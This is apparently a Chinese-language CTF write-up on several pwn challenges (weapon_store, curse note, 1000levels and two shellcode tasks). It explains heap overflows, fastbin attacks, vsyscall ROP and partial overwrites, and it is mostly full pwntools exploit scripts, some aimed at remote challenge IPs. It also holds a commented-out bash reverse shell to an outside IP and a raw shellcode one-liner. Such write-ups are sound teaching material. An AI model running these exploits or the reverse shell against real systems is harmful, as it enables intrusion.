weapon_store
三个功能:view、buy、checkout
view,有点想吐槽,你一个卖武器的,价目表居然跟实际价格不一样。。下面的buy功能可以看到实际价格计算方法是100 * (v3 + 1) - 29
,也就是说武器1卖171,武器2卖271。371。471。。。。
buy,先计算买的武器单价*数量是不是超过了手里的money,没超过就放到购物车里,但可以通过整数溢出绕过这个限制;另外可以看到malloc的时候还和0x1ff与了一下,可能有堆溢出。
checkout,当手里的money少于买下所有武器要花的钱时,就给你一次堆溢出的机会,这时可以把其他武器的name改换为flag输出。
输入选项的地方看起来可以泄露点什么出来
但这个地方存放的是两个栈里的值,一个text段的值,也得不到什么信息
这道题绊住我的是做法的问题,一直想的是怎么getshell。虽然data段里有Flag
这几个大字,但谁能想到这题是让你泄露它啊。
from pwn import *
debug=1
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if debug:
io = process("./weapon_store")#,env={'LD_PRELOAD':'./libc-2.27.so'})
else:
io = remote("47.97.253.115",10002)
elf = ELF('./weapon_store')
libc = ELF("./libc-2.27.so")
s = lambda x :io.send(str(x))
sa = lambda x,y :io.sendafter(str(x), str(y))
sl = lambda x :io.sendline(str(x))
sla = lambda x,y :io.sendlineafter(str(x), str(y))
r = lambda x :io.recv(x)
ru = lambda x :io.recvuntil(x)
def view():
ru("Your choice:")
sl(1)
def buy(which,amount):
ru("Your choice:")
sl(2)
ru("Which do you want to buy:")
sl(which)
ru("How many do you want to buy:")
sl(amount)
#1 2 3 4 171 271 371 471
#money 0x1000 4096
def checkout():
ru("Your choice:")
sl(3)
#buy(1,1)#c0
buy(1,2)#160
#buy(1,3)#20
#buy(1,4)#c0
#buy(1,5)#160
#buy(1,6)#20
buy(1,2)#160
checkout()
buy(1,9)
buy(1,9)
buy(1,9)#20
buy(4,0x8b2468)#160
checkout()
ru("Do you want to remove a weapon?(y/n)\n")
sl("y")
ru('Please tell us about the reason why you are so poor:')
s("2"*0x158+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*3+p64(0x31)+p32(0x603)+p32(9)+p64(0)+'\x20')
checkout()
ru("3. Name: ")
log.success("flag : "+ru("Price:")[:-6])
#gdb.attach(io)
#io.interactive()
运行结果
curse note
题目分析
这道题三个功能:new、show、delete,可以用三个note
new存在很多漏洞点:没检查分配的大小,没检查分配是不是成功,任意地址写0
show平平无奇
delete平平无奇
利用方法
利用任意地址写0构造overlap然后fastbin attack,唯一的坑点在于分配大内存后,程序就不再从mainarena分配了,而是会从threadarena分配。在threadarena里,size的最后一字节为0x00000101而非0x00000001,所以构造overlap的时候,要先将preisused位置0,再分配这块,此时这块的size的最后一字节就是4了,再free掉这块就成功overlap了。
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process("./curse_note")
else:
io =remote("47.97.253.115",10002)
elf = ELF('./curse_note')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb :io.recv(numb)
ru = lambda delims :io.recvuntil(delims)
def new(index,size,info):
ru("choice: ")
sl("1")
ru("index: ")
sl(index)
ru("size: ")
sl(size)
ru("info: ")
s(info)
def show(index):
ru("choice: ")
sl("2")
ru("index: ")
sl(index)
def delete(index):
ru("choice: ")
sl("3")
ru("index: ")
sl(index)
def exit():
sl("4")
#leak libc
new(0,0x90-8,"1")
new(1,0x20-8,"1")
new(2,0x20-8,"1")
delete(0)
new(0,0x90-8,"1")
show(0)
leak=u64(r(16)[-8:])
libc.address=leak-0x3c4b78
log.success("libc : "+hex(libc.address))
#leak heap
delete(1)
delete(2)
new(1,0x20-8,"\x00")
show(1)
heap=u64(r(8))
log.success("heap : "+hex(heap))
delete(0)
delete(1)
#leak thread arena base
new(0,heap+0x11,"a")
new(0,0x100-8,"a")
new(1,0x70-8,"a")
new(2,0x100-8,"a")
delete(1)
new(1,0x30-8,"1")
delete(0)
delete(2)
new(0,0x100-8,"1")
show(0)
thread_heap=u64(r(16)[-8:])-0x170
thread_base=thread_heap-0x8b0
log.success("thread heap : "+hex(thread_heap))
delete(0)
#overlap
new(0,0x70-8,"a"*(0x70-8-8)+p64(0x170))
new(2,thread_heap+0x178+1,"11111111") #preused=0
new(2,0x100-8,"1111111")
delete(2)
delete(0)
#fastbinattack
new(2,0x270-8,"a"*(0x100-8)+p64(0x75)+p64(libc.symbols['__malloc_hook']-0x23))
new(0,0x70-8,"1")
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[3]
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
delete(1)
new(1,0x70-8,c)
delete(0)
ru("choice: ")
sl("1")
ru("index: ")
sl(0)
ru("size: ")
sl(0x30)
io.interactive()
1000levels
两个功能,go和hint
首先看hint,hint虽然不能直接打印出system的地址,但是把system的地址放在了rbp-110h
这个地方
go让你输入两个数字作为关卡数,如果俩数字之和超过了99,关卡数就被设置为100(题目难道不是叫做1000levels吗?啊??),算对了就让你过关。可以看到v5、v6就是刚刚system所在的地方,当然要想办法把v5用起来。可以看出v2<=0的时候v5没有被赋值,这样v5就被留下来了,当然留下来是有代价的,要创完100关才给你栈溢出的机会(system可在go里放着呢:P)
关卡里有栈溢出:
方法1-利用vsyscall构造ROP
这题因为开了PIE,所以不知道gadget的地址,就不好构造ROP。vsyscall是一个只有ret功能的gadget,见下图(0x60是gettimeofday,不知道有啥用反正没有用),vsyscall的地址是固定的,而且我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。栈中提前存好one_gadget的地址,然后构造三次ret即可。
![image-20191102211935780](/Users/apple/Library/Application Support/typora-user-images/image-20191102211935780.png)
#!/usr/bin/env python
from pwn import *
debug=1
#context.log_level = 'debug'
vsyscall=0xffffffffff600000
if debug:
io = process('./100levels')
else:
io=remote("111.198.29.45",41268)
libc=ELF('./libc.so.6')
elf=ELF('./100levels')
def go(first, more):
io.recvuntil("Choice:\n")
io.sendline('1')
io.recvuntil("How many levels?\n")
io.sendline(str(first))
io.recvuntil("Any more?\n")
io.sendline(str(more))
def hint():
io.recvuntil("Choice:\n")
io.sendline('2')
def answer():
io.recvuntil("Question:")
num1=int(io.recv(3))
io.recvuntil("*")
num2=int(io.recv(3))
io.recvuntil("Answer:")
io.sendline(str(num1*num2))
one_gadget = 0x4526a
system_offset = libc.symbols['system']
hint()
go(0,one_gadget - system_offset)
for i in range(99):
answer()
io.recvuntil("Question:")
num1=int(io.recv(3))
io.recvuntil("*")
num2=int(io.recv(3))
io.recvuntil("Answer:")
content=''
content+='c'*48
content+='b'*8
content+=p64(vsyscall)*3
io.send(content)
io.interactive()
方法2-爆破ebp+leak elf
可以通过溢出ebp的后一个字节使得ebp和esp相同,在输出Question那一句的时候获得leak elf的机会。
虽然Question的两个数字被填入了随机数,但因为esp上方存的一定是上一次调用的函数的返回地址,而且栈帧已经改为ebp和esp相同,所以可以泄露ebp-4和ebp-8泄露一个返回地址出来。
#no aslr
from pwn import *
from LibcSearcher import *
debug =1
if debug:
context.log_level = 'debug'
io = process('./100levels')
else:
io = remote("111.198.29.45",44322)
libc = ELF('./libc.so')
elf = ELF('./100levels')
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=one_gadgets_ti[0]
def hint():
sla('Choice:','2')
def go(first,more):
ru("Choice:\n")
sl('1')
ru("How many levels?\n")
sl(str(first))
ru("Any more?\n")
sl(str(more))
go(2,0)
ru('Answer:')
s(('0\n').ljust(0x30, '\x00') + '\x00')
ru("Question: ")
c = int(ru(' * '))
z = int(ru(' = '))
elf.address = u64(p32(z) + p32(c)) & 0xfffffffff000#leak elf base
print hex(elf.address)
ru('Answer:')
c=''
c=c.ljust(0x8*5)
c+=p64(elf.address+0xf47)#main
sl(c)
hint()
go(0,one_gadget - libc.symbols['system'])
for i in range(99):
ru("Question: ")
a=int(ru('*')[:-1])
b=int(ru('=')[:-1])
ru('Answer:')
sl(str(a*b))
ru('Answer:')
c=''
c=c.ljust(0x8*7)
c+=p64(elf.address+0x1030)#gadget
s(c)
io.interactive()
方法3-爆破system地址+vsyscall构造ROP
在网上找到的脚本,爆破了system的地址。
不过这个题目里的游戏只让你玩一次,无论失败还是成功都会exit(0),所以得通过vsyscall回到main函数。
from pwn import *
p = process('./100levels')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
context.log_level = 'debug'
def hint():
p.sendlineafter('Choice:','2')
def go(first,more):
p.recvuntil("Choice:\n")
p.sendline('1')
p.recvuntil("How many levels?\n")
p.sendline(str(first))
p.recvuntil("Any more?\n")
p.sendline(str(more))
def calc(num):
p.recvuntil('Answer:')
p.send(num)
def leak():
start = 0x700000000390
for i in range(10,2,-1):
for j in range(15,-1,-1):
hint()
addr_test = (1 << (i*4) )* j + start
go(0,-addr_test)
a = p.recvline()
#print hex(addr_test)
if 'Coward' not in a:
start = addr_test
log.info('check '+ hex(addr_test))
break
pro = log.progress('go')
for i in range(99):
pro.status('level %d'%(i+1))
calc(p64(0)*5)
calc(p64(0xffffffffff600400)*35)#vsyscall
pro.success('ok')
return start + 0x1000
system_addr = leak()
print '[+] get system addr:', hex(system_addr)
system_addr_libc = libc.symbols['system']
bin_sh_addr_libc = next(libc.search('/bin/sh'))
bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc
gadget = system_addr - system_addr_libc + 0x21102#pop rdi ret
payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)
go(1,0)
exp = 'a'*0x38 + payload
calc(exp)
p.interactive()
运行结果:
方法4-爆破elf-myexp 1/16
栈中提前存好one_gadget的地址,改写level函数返回地址的后两个字节为pop pop ret的gadegt,有1/16的几率猜对,就能ret到one_gadget。
from pwn import *
from LibcSearcher import *
debug =1
if debug:
#context.log_level = 'debug'
io = process('./100levels')
else:
io = remote("111.198.29.45",44322)
libc = ELF('./libc.so')
elf = ELF('./100levels')
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=0x4526a
def hint():
sla('Choice:','2')
def go(first,more):
ru("Choice:\n")
sl('1')
ru("How many levels?\n")
sl(str(first))
ru("Any more?\n")
sl(str(more))
while 1:
try:
hint()
go(0,one_gadget - libc.symbols['system'])
for i in range(99):
ru("Question: ")
a=int(ru('*')[:-1])
b=int(ru('=')[:-1])
ru('Answer:')
sl(str(a*b))
ru('Answer:')
#1030
#c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'"
c=''
c=c.ljust(0x8*7)
c+='\x31\x50'#1/16
s(c)
io.interactive()
except:
io.close()
io = process('./100levels')
PS:得按空格才能继续运行下一个进程,咋写能写一个真正自动化的呢:(
失败的exp
本来想以栈中的变量buf作为system的参数,因为在level函数返回的时候buf的地址在rdi里,然后ret到pop pop ret就ret到了system函数,然而失败了。后来分析是因为栈里的内容是变了的,因为buf的地址在栈顶的上面。但我又不能既为了让buf不变而抬高栈顶,又ret到栈底的system,所以这种方法是行不通了的。
from pwn import *
from LibcSearcher import *
debug =1
if debug:
context.log_level = 'debug'
io = process('./100levels')
else:
io=remote("111.198.29.45",44322)
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
def hint():
sla('Choice:','2')
def go(first,more):
ru("Choice:\n")
sl('1')
ru("How many levels?\n")
sl(str(first))
ru("Any more?\n")
sl(str(more))
def pwn():
hint()
go(0,0)
for i in range(99):
ru("Question: ")
a=int(ru('*')[:-1])
b=int(ru('=')[:-1])
ru('Answer:')
sl(str(a*b))
gdb.attach(io)
ru('Answer:')
#1030
#c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'"
c=str(a*b)+'\x0a'+"/bin/sh\x00"
c=c.ljust(0x8*7)
c+='\x31\x50'#aslr off
s(c)
pwn()
io.interactive()
rdi放着的是栈的地址,当后面执行的时候栈中的内容会变的。
no nx/ no pie shellcode的两道题
jmp esp+shellcode
程序中有jmp esp
指令,覆盖返回地址为jmp esp+shellcode
,即可跳转到栈上布置好的shellcode。
无jmp esp
通过ret一直往下覆盖,直到覆盖到栈上保存的环境变量地址,这个地址指向栈上,部分覆盖最后一个字节到buffer的偏移,执行到栈上的shellcode。
while true; do ./overflow4-4834efeff17abdfb $(python -c 'print "\x90" * 32 +"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80" + "\xfb\x85\x04\x08" * 14 + "\x10" ' );done
脚本里覆盖栈地址最后一个字节为\x10
,strcpy()会在最后加上一个\x00
字节,所以会跳到末尾是\x00\x10
的栈地址,buffer恰巧在这个地址需要一定概率。